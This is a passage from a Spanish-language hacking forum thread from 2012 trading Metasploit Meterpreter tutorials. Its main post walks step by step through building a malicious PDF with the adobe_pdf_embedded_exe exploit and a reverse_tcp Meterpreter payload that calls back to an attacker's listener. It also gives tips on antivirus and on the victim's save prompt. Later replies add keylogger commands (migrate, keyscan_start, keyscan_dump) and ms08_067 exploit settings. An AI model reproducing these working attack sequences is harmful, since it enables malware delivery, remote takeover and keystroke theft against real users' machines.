Anadiendo mas informacion para ver mas la informacion del fichero pcap otra herramienta muy recomendada seria XPLICO
solo digo a practicar ya que leyendo nose aprende a hacerlo solo se save saludos.
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II , III y IV
Publicado por: ps3ps3ps3 en Abril 02, 2012, 02:15:26 am
Muchas gracias JULY,me a sido de mucha ayuda. : D
Saludos.
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II , III y IV
Publicado por: JULY en Abril 02, 2012, 02:31:44 am
De nada bro mañana subo otro que esta muy interesante y me dio un poquito de trabajo je je je
saludos
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II , III y IV
Publicado por: JULY en Abril 02, 2012, 02:39:20 pm
5 INFECTAR PDF
Cumpliendo lo prometido, hay vamos a infectar un pdf con meterpreter Para realizar esta practica en la ultima version de metasploit me salta error y error por lo tanto baje a la version 3.3.3
msf > use windows/fileformat/adobe_pdf_embedded_exe msf exploit(adobe_pdf_embedded_exe) > show options
Module options:
Name Current Setting Required Description ---- --------------- -------- ----------- EXENAME no The Name of payload exe. FILENAME evil.pdf no The output filename. INFILENAME yes The Input PDF filename. OUTPUTPATH ./data/exploits/ no The location to output the file.
Exploit target:
Id Name -- ---- 0 Adobe Reader v8.x, v9.x (Windows XP SP3 English) Como ven en el target nos da la version del adobe vulnerable y wind xp pack 3 English Pero que pasa si el so esta en español, para eso vamos editar el exploit Con LOOPeR lo hemos editado para que acepte en español Para eso tenemos que cerrar el metasploit y abrir el exploit Ubicacion del exploit(en mi caso)
C:\Archivos de programa\Metasploit\Framework3\msf3\modules\exploits\windows\fileformat\Abrimos el script adobe_pdf_embedded_exe.rb y vamos a editarlo en la linea 97
[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English, Español (modified by July & L00PeR))', { 'Ret' => '' } ] Muy bien guardamos y abrimos el metasploit
Name Rank Description ---- ---- ----------- windows/fileformat/adobe_pdf_embedded_exe excellent Adobe PDF Embedded EXE Social Engineering
msf > use windows/fileformat/adobe_pdf_embedded_exe msf exploit(adobe_pdf_embedded_exe) > show options
Module options:
Name Current Setting Required Description ---- --------------- -------- ----------- EXENAME no The Name of payload exe. FILENAME evil.pdf no The output filename. INFILENAME yes The Input PDF filename. OUTPUTPATH ./data/exploits/ no The location to output the file.
Exploit target:
Id Name -- ---- 0 Adobe Reader v8.x, v9.x (Windows XP SP3 English, Español (modified by July & L00PeR))
msf exploit(adobe_pdf_embedded_exe) > set INFILENAME C:\\hackxcrack.pdf INFILENAME => C:\hackxcrack.pdf msf exploit(adobe_pdf_embedded_exe) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(adobe_pdf_embedded_exe) > set Lhost 192.168.1.100 Lhost => 192.168.1.100 msf exploit(adobe_pdf_embedded_exe) > set id 0 id => 0 msf exploit(adobe_pdf_embedded_exe) > exploit Como ven ponemos todos los parametros mas el payload windows/meterpreter/reverse_tcp
use exploit/windows/fileformat/adobe_pdf_embedded_exe [El exploit para ejecutar un el PAYLOAD al abrir un PDF] set FILENAME nombre_salida.pdf [El nombre que tendrá el PDF una vez modificado por msf] set INFILENAME /root/nombre_entrada.pdf [El nombre del PDF que será infectado] set OUTPUTPATH /root/ [Directorio donde se guardará el PDF] set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.150.128 [IP que estará a la escucha para que se conecte el PAYLOAD] set LPORT 4444 [Puerto a la escucha] set id 0 [El S.O. y la versión del Adobe Reader que vulnera el exploit] exploit
[*] Started reverse handler on port 4444 [*] Reading in 'C:\hackxcrack.pdf'... [*] Parsing 'C:\hackxcrack.pdf'... [*] Parsing Successful. [*] Using 'windows/meterpreter/reverse_tcp' as payload... [*] Creating 'evil.pdf' file... [*] Generated output file /msf3/data/exploits/evil.pdf [*] Exploit completed, but no session was created. msf exploit(adobe_pdf_embedded_exe) > Muy bien lo hemos logrado sin problemas, el nuevo pdf infectado en mi caso se guardo en :/msf3/data/exploits/evil.pdf Ahora teniendo una seccion de meterpreter le subinos el pdf infectado y lo ejecutamos
Muy bien hemos terminado tengan cuidado con el antivirua y a la pc remoto salta un cartelito para guardad que muchos no saben guardan y nos conectamos sin problemas
start evil.pdf
C:\>exit meterpreter >
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II , III y IV
Publicado por: JULY en Abril 02, 2012, 02:46:02 pm
Muy bien hemos terminado tengan cuidado con el antivirua y a la pc remoto salta un cartelito para guardad que muchos no saben y guardan.Nos conectamos sin problemas
Algunas diferencias entre las versiones nuevas y viejas de metasploit que me llama mucho la atencion
Command Description ------- ----------- creds List all credentials in the database db_autopwn Automatically exploit everything db_connect Connect to an existing database db_disconnect Disconnect from the current database instance db_driver Specify a database driver db_export Export a file containing the contents of the database db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically db_status Show the current database status hosts List all hosts in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces
Command Description ------- ----------- db_add_host Add one or more hosts to the database db_add_note Add a note to host db_add_port Add a port to host db_autopwn Automatically exploit everything db_connect Connect to an existing database db_create Create a brand new database db_del_host Delete one or more hosts from the database db_del_port Delete one port from the database db_destroy Drop an existing database db_disconnect Disconnect from the current database instance db_driver Specify a database driver db_hosts List all hosts in the database db_import_amap_mlog Import a THC-Amap scan results file (-o -m) db_import_nessus_nbe Import a Nessus scan result file (NBE) db_import_nessus_xml Import a Nessus scan result file (NESSUS) db_import_nmap_xml Import a Nmap scan results file (-oX) db_nmap Executes nmap and records the output automatically db_notes List all notes in the database db_services List all services in the database db_vulns List all vulnerabilities in the database db_workspace Switch between database workspaces Termino con dos preguntas Las versiones de metasploit viene cada vez con menos opciones? Tiene algo que ver que ahora tengan dos tipo de matasploit para la venta?
saludossss o_-
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II , III, IV y V
Publicado por: cro2h en Abril 09, 2012, 07:02:43 pm
Hola creo que te falto una opcion y si no falto disculpame, y me sirvio mucho la informacion de los comandos. Esto es para activar el keylogger en la pc victima, para esto ya tienen que tener una sesion con meterpreter. 1.-ps //Buscamos el proceso "Explorer.exe", que es el 732 y nos apropiamos de el.
migrate 732
2.- Una vez migrado, ejecutamos keyscan_start y a esperar.
3.- Ejecutamos keyscan_dump y nos volcara en pantalla lo que se haya tecleando en la victima.
Dumping captured keystrokes... estoy escribiendo esto en el notepad.
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II , III, IV y V
Publicado por: JULY en Abril 12, 2012, 02:59:08 pm
Hola amigo claro los todos los tutos son con metrpreter
por lo tanto ya tenes que tener la sesion( para obtener la sesion explicado arriba)
migrate, tambien fue explicado arriba pero para lanzar ese comando que mencionas no es necesario estar en explorer.exe Pero se recomienda que estes en un proceso base para el sistema
sniffer_start 1 <-- este es el comando que uso
cualquier duda me dices porque esto esta re comprobado por mi
saludossssssssss
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II , III, IV y V
Publicado por: cro2h en Abril 14, 2012, 10:13:30 pm
OOOO ok gracias por contestar y cualquier duda te la hago saber grax :D
Título: Re: METERPRETER EDITADO PARTE I(con video de kid_goth) , II , III, IV y V
Publicado por: JULY en Abril 17, 2012, 03:51:58 pm
Denada amigo Ahora para que se entienda mejor kid_goth esta haciendo los videos de cada practica ya puse uno en la practica I Que lo disfruten saludossssssssssssss
Título: Re: METERPRETER EDITADO PARTE I(con video de kid_goth) , II , III, IV y V
Publicado por: salamancageek en Junio 11, 2012, 08:30:07 am
a mi no me deja ni migrar ni hacer un screenshot. en el último me pone que hay un error en la longitud. Estoy atacando windows xp sp2 en virtual box
Título: Re: METERPRETER EDITADO PARTE I(con video de kid_goth) , II , III, IV y V
Publicado por: salamancageek en Junio 16, 2012, 07:34:09 am
Creo que ya sé lo que pasó. Entrando por [/code]msf>use windows/mssql/mssql_payloadmsf exploit(mssql_payload)>set payload windows/meterpreter/reverse_tcp
te da error Para hacer esto tienes que hacer: use windows/smb/ms08_067_netapi [/code]set PAYLOAD windows/meterpreter/reverse_tcp (sí, ya sé que me faltaría configurar las ips, puertos.... Debe se que en el primer caso aprovecha la vulnerabilidad para entrar pero el exploit no es tan vulnerable como para migrar ni hacer fotos. Para ello es mejor el segundo; pero no lo sé seguro. Si alguien que no sea un lamer como yo lo sabe le agradecería que me explicase el porqué Gracias de antemano
Título: Re: METERPRETER EDITADO PARTE I(con video de kid_goth) , II , III, IV y V
Publicado por: JULY en Octubre 07, 2012, 01:58:47 pm